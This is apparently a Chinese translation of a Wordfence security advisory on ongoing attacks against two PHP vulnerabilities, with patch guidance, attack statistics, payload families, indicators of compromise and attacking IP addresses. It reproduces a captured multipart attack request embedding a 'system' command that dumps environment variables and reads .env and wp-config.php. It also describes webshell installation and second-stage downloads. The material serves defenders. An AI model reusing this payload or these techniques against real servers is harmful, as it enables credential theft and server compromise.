Wordfence 称 PHP2Shell 攻击持续,尚未发现已知入侵事件
Attacks on PHP2Shell Continue, But No Known Compromises as a Result Yet
Wordfence 称针对 PHP 漏洞 CVE-2026-109618 和 CVE-2026-109619 的攻击仍在持续,但尚未观察到由这两项漏洞导致的确认入侵。
原文提供漏洞利用样本、攻击目标和处置步骤,可帮助站长识别异常请求并核对 PHP 修复状态。
2026年10月21日,PHP 项目发布了针对两个严重漏洞的紧急更新,漏洞编号分别为 CVE-2026-109618 和 CVE-2026-109619。在修复程序发布之前,我们就向网站所有者发出了警告;在我们的团队审查漏洞详情并开始测试已修复和存在漏洞的 PHP 版本后,我们又跟进发布了通知。目前,我们尚未发现任何已确认的入侵事件,而考虑到 Wordfence 为超过 5,000,000 个 WordPress 网站提供安全防护,这清楚表明此次利用的复杂程度较高。
通过内置的防火墙防护,Wordfence Firewall 已拦截超过 74,000 次与新披露漏洞相关的利用或探测尝试,以及滥用同一 PHP multipart 和 session-upload-progress 攻击面的相关攻击。为了更好地追踪和评估不断演变的威胁态势,我们正在积极扩展监控能力。
修复方案保持不变:安装 PHP 8.5.12、8.4.27、8.3.36 或 8.2.35,或安装供应商明确确认包含两项修复的程序包,并重启每个 PHP worker。更新 WordPress 本身并不会更新 PHP。
攻击数据
其中一个规模最大且清晰可识别的攻击集群使用了类似以下的请求。multipart 请求体包含重复字段,携带疑似命令执行结构以及试图读取 .env 和 wp-config.php 的命令。
POST / HTTP/1.1
Connection: close
Cookie: %5Bredacted%5D=%5Bredacted%5D;
Accept-Language: en-US,en;q=0.9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Host: [redacted]
Content-Type: multipart/form-data; boundary=p2s0adf525faa
Content-Length: 63395
--p2s0adf525faa
Content-Disposition: form-data; name="PHPSESSID"
d1f6b03d7696286fe2bb0537a5
--p2s0adf525faa
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
x
--p2s0adf525faa
Content-Disposition: form-data; name="t[0]"
@0000000AAAAAAAA000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000AAAAAAAA00000000000000000000000000000000000000system0echo P2S_OK;env;head -c 200 .env ../.env ../../.env wp-config.php0000000000000000
--p2s0adf525faa
Content-Disposition: form-data; name="t[1]"
@0000000AAAAAAAA000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000AAAAAAAA00000000000000000000000000000000000000system0echo P2S_OK;env;head -c 200 .env ../.env ../../.env wp-config.php0000000000000000
--p2s0adf525faa
Content-Disposition: form-data; name="t[135]"
[truncated]
@0000000AAAAAAAA000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000AAAAAAAA00000000000000000000000000000000000000system0echo P2S_OK;env;head -c 200 .env ../.env ../../.env wp-config.php0000000000000000
--p2s0adf525faa
Content-Disposition: form-data; name="t[136]"
@0000000AAAAAAAA000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000AAAAAAAA00000000000000000000000000000000000000system0echo P2S_OK;env;he
--p2s0a"该请求不仅仅是通用的上传探测。重复的 t[n] 字段符合试图制造内存压力并影响请求内存分配的模式,而嵌入的 system 字符串和 P2S_OK 标记则表明存在预期的命令执行阶段。我们从请求中截断了 134 个 t[n] 字段。如果成功,示例命令将返回环境变量,以及常见的 WordPress 和应用程序配置文件的部分内容。仅凭该请求并不能证明发生了内存损坏或命令执行,但它为攻击者的尝试提供了宝贵见解。
观察到的漏洞利用家族
我们分析了 10 月 20 日至 10 月 22 日期间收集的 10,000 个事件样本。该样本是围绕引用 PHP_SESSION_UPLOAD_PROGRESS 的请求选取的,因此不应被视为所有潜在恶意流量的代表性样本。尽管如此,它仍展示了几个不同的载荷家族,而非单一的概念验证。
| 观察到的载荷家族 | 事件数 | 可能目的 |
|---|---|---|
| P2S 疑似 OOM/状态损坏 RCE 尝试 | 3,752 | 塑造请求内存分配,尝试执行命令并窃取配置数据 |
| Laravel 反序列化对象 gadget chain 尝试 | 1,139 | 尝试调用可用的应用程序 gadget 来执行 shell 命令 |
| 其他反序列化对象载荷 | 2,534 | 尝试利用 Monolog、Symfony、Guzzle、WordPress、ThinkPHP 及其他已安装类 |
| 相关的 NxSP 会话文件投毒尝试 | 512 | 投毒临时会话文件,并将其与另一个本地文件包含漏洞配合利用 |
| 相关的带外 PHP 上传 canary | 30 | 测试其他上传或执行原语是否会触发回调 |
反序列化对象计数描述的是载荷特征,可能与其他行为类别重叠。事件样本包含的是请求,而非响应正文或端点遥测数据,因此这些数字衡量的是尝试进行的漏洞利用,而非成功入侵。
归因很重要:P2S 和序列化对象流量与试图武器化利用近期 PHP 修复所涵盖行为相符。NxSP 会话投毒请求和小型 PHP 上传金丝雀使用相同的 multipart 或上传进度界面,但它们依赖于不同的缺陷或应用程序行为,因此不应将其描述为已确认利用 CVE-2026-109618 或 CVE-2026-109619。
攻击者试图做什么
- 确认命令执行,使用
P2S_OK、NxSP<number>和SHL_OK等标记。 - 对服务器进行画像,运行
id、uname -a和hostname等命令。 - 窃取凭据和机密,从环境变量、
.env和wp-config.php中获取。 - 安装持久化访问权限,搜索常见的 CMS 目录,并尝试将名为
wp2s.php的 PHP 命令 shell 写入可写的上传、插件或主题位置。 - 检索并执行第二阶段载荷,使用
curl、wget和 shell 解释器。 - 通过带外方式验证执行情况,使用
oast.pro、oast.fun和oast.online等服务下的唯一回调主机名。
供防御方参考的非 IP 指标
P2S_OK
NxSP[0-9]+
SHL_OK
ADV618BOUNDARY
----P2SB
wp2s.php
php2shell.php
axiom_*.php
php-to-shell
Illuminate\Broadcasting\PendingBroadcast
Monolog\Handler\BufferHandler
Requests_Utility_FilteredIterator攻击源 IP 排名
下面最活跃的 20 个源地址占被阻止尝试的最大比例。
| # | IP 地址 | 被阻止的尝试次数 | 数量 |
|---|---|---|---|
| 1 | 87.121.84.174 | 8,525 | |
| 2 | 181.215.186.252 | 7,856 | |
| 3 | 185.196.220.132 | 7,146 | |
| 4 | 185.161.210.29 | 5,796 | |
| 5 | 152.233.51.69 | 5,317 | |
| 6 | 45.134.225.16 | 3,623 | |
| 7 | 107.189.14.87 | 2,365 | |
| 8 | 193.47.62.24 | 2,263 | |
| 9 | 2409:40d2:204e:4be:2a1f:f9c9:a055:e00b | 1,953 | |
| 10 | 103.147.220.17 | 1,860 | |
| 11 | 143.246.223.124 | 1,791 | |
| 12 | 52.74.54.75 | 1,260 | |
| 13 | 65.49.200.56 | 836 | |
| 14 | 193.142.147.111 | 775 | |
| 15 | 85.137.56.188 | 672 | |
| 16 | 85.137.53.26 | 664 | |
| 17 | 167.254.242.130 | 648 | |
| 18 | 217.112.152.168 | 619 | |
| 19 | 203.78.119.133 | 616 | |
| 20 | 140.245.32.169 | 616 |
我们的评估
漏洞利用仍对 PHP 配置、SAPI、已加载扩展、应用程序类和 worker 状态敏感。然而,这些流量并不限于通用或格式错误的探测请求。我们观察到了一些精心构建的请求,它们将内存压力技术、序列化对象 gadget 链、命令执行标记和漏洞利用后操作结合起来。
这些载荷的存在并不能证明目标网站已被成功攻陷。请求数据确实显示出明确的意图,包括执行命令、窃取配置数据、安装持久化 PHP 访问权限以及检索额外载荷。要确认是否成功,需要来自目标服务器的响应、文件系统、进程、worker 崩溃、DNS 或出站 HTTP 证据。
这些观察结果与我们此前发布的测试一致。在一台经过特殊配置的 PHP 8.5.11 Apache 实验环境中,我们在测试 CVE-2026-109619 时确认了代码执行;同一概念验证在常规优化 PHP 8.5.11 构建中导致崩溃,而已修复的 PHP 8.5.12 则保持健康。对于 CVE-2026-109618,我们复现了存在漏洞与已修复版本之间的行为差异,但未独立实现代码执行。这里分析的生产流量不会改变这些实验结果,也不能证明现实中成功利用了漏洞。
目前,我们尚未观察到由这些漏洞导致的任何已确认攻陷。我们正在继续密切监测局势,并将在获得更多细节后予以公布。遥测数据中没有已确认的攻陷,并不意味着未打补丁的服务器是安全的,尤其是某些相关故障和回调可能发生在 WordPress 应用程序及其日志之外。不过,这也说明实际利用过程确实十分复杂。
Wordfence Care 和 Wordfence Response 客户如果认为其网站可能已遭攻陷,可以联系我们的事件响应团队。Wordfence Response 提供全天候服务,响应时间为一小时。
如果您认识负责管理 WordPress 网站的人,请分享本文,并请他们检查每个网站背后的 PHP 服务。
如果您有网站,或知道有人因其中一种漏洞而导致网站被入侵,请将任何相关的样本和详细信息发送至 samples@wordfence.com。这些信息将帮助我们让社区及时了解情况、改进防护措施,并更好地保护网站所有者。
这篇文章《针对 PHP2Shell 的攻击仍在继续,但目前尚未发现由此造成的入侵》最初发布于 Wordfence。
来源:Wordfence 官方博客 · https://www.wordfence.com/blog/2026/10/attacks-on-php2shell-continue-but-no-known-compromises-as-a-result-yet/
部分链接为推广/关联链接。